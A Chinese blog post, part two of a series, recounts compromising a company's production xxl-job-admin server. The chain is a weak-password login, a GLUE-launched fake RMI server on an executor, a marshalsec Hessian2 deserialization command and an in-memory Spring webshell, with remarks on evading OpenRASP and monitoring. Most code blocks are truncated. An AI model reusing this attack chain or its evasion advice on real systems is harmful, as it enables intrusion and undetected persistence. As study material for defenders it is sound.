Attack_Xxl-Job-Admin-下篇
在上一篇中笔者有说到未能成功拿下prd-server1,但成功拿下了prd-server2,本篇博文将阐述这一有趣的过程,另外,在上篇中提及的知识点本篇不再赘述。
当前信息
首先,关于prd-server2有如下信息:
①通过弱口令登录了后台,后台有GLUE功能可以管理执行器(开发者新增了一个自定义登录接口,这个接口没有漏洞的,但由于开发者没有删除旧有的登录接口,我们通过旧有的接口的弱口令进入了后台);
②xxl-job-admin版本大致为2.0.2,使用的Hessian2,Api
接口可以触发Hessian反序列化漏洞,部署方式为sping boot jar;
③xxl-job-admin机器无法外联,执行器也无法外联,但目前手头的Hessian Gadeget需要机器能外联;
④xxl-job-admin与执行器之间是网络互通的。
攻击思路
通过以上信息,我们目前有如下攻击思路:
①先本地搭建相关环境,将xxl-job-admin的rmi外联请求与我们的rmi服务器之间的交互进行抓包保存,并编写python socket server来模拟rmi server;这里的rmi代码执行内容我们可以写一个spring的内存马。
②使用控制台的glue python功能在executor开启rmi server脚本(可以先写入到executor再执行)。
③本地使用Hessian2反序列化EXP对xxl-job-admin进行攻击,rmi server为xxl-job-executor(executor的IP可以再控制台中看到,另外也可以通过glue执行命令查看executor的IP)
④连接xxl-job-admin的内存马
具体的攻击流量过程如下图:
RMI服务
这里使用EL表达式+BCEL的方式来加载我们自定义的代码,不过在这个BCEL中加载的代码无法直接import拿到非JAVA核心类,所以我们自定义的代码中,需要通过反射拿到我们想要的对象数据方法(蛋疼)。
我们直接修改Marshalsec
的handleRMI
方法,使用我们自定义的ResourceRef
进行替换:
1 | private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception { |
另外main方法随便改改,能用就好:
1 | public static void main ( String[] args ) { |
Spring内存马
这里需要使用EncodeClass
将Behind
转为字符,然后将其填入SpringControllerNeedle
的classCode
中。
SpringControllerNeedle
原本的代码逻辑比较简单,可以参考https://github.com/bitterzzZZ/MemoryShellLearn
,但是这里不得不使用反射,所以代码变得复杂。
另外,为了让我们访问webshell的时候不必带认证Cookie,我们需要添加xxl-job-admin的PermessionLimit
注解。
1 | package com.blood; |
1 | package com.blood; |
1 | package com.needle; |
模拟RMI Server
将通过wireshark抓包捕获我们的rmi测试流量,放到flow_data
数组中,启动该python脚本即可模拟一个用于发送EXP的rmi server
1 | import socket |
坑点
尽量不要从当前用户请求去拿对象,因为你拿的对象可能是用户自定义的一个实现类,在你调这个自定义类的过程中可能会导致预期之外的异常,而且你很难发现。
起初我们是通过下面这种方式最终拿到的WebApplicationContext
, 在自己搭建的xxl-job-admin 测试环境上完全没有任何问题,但是到了实际业务环境,就是没有成功写入,这让我们折腾了很久。后来发现是因为prd-server2的xxl-job-admin是目标公司二次开发过的,我们通过getRequest
拿到的对象不符合我们的预期。
1 | javax.servlet.ServletContext sss = ((ServletRequestAttributes)RequestContextHolder.getRequestAttributes()).getRequest().getSession().getServletContext(); |
攻击过程
①弱口令登录后台后,我们通过glue python写入rmi server
脚本到tmp目录,随后使用glue python执行命令nohup /tmp/rmi_server.py &
,启动我们的rmi服务,端口应该使用未被占用的高端口;
②通过marshalsec
获取Hessian2
反序列化触发EXP,并发送到到xxl-job-admin的/API
接口
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://executor_ip:port/Object > marshalsec.hessian2.bin |
③连接webshell,且需带上认证的Cookie
结语
这里给出的内存马稍微还是有点缺陷,由于我们的内存马是以Spring Controller方式注册的,根目录在xxl-job-admin
下,流量会先经过该应用的PermissionInterceptor
,进行权限、cookie的校验。文中的xxl-job-admin是对源码做了一定修改,包名也有变化,这种情况下添加com.xxl.job.admin.controller.annotation.PermessionLimit
注解就无效了,另外也没有存在通配符匹配下的不必认证的URI路径。后续的内存马应该尽量使用Interceptor
一类的,避免该种问题。
在防御这块,BB几句吧。首先,目标机器上有OpenRASP,但在本案例中OpenRASP
效果上确实比较让人失望:维护OpenRASP需要十分十分专业的人,可能需要不断挖掘测试各漏洞场景下的情况,并维护规则,反序列化场景下的防御十分依赖命令执行的检测,但由于其严重的缺陷,该命令执行检测可以被绕过,且漏洞利用者直接写内存马。在内存马的检测这块,我们也有针对某藤做bypass研究,所以实际上也形同虚设。环境中也有某眼,但可能日志太多,或者是我们没有使用流行payload,所以运营团队难以发觉。
Reference
https://github.com/bitterzzZZ/MemoryShellLearn
https://github.com/xuxueli/xxl-job/tree/2.0.2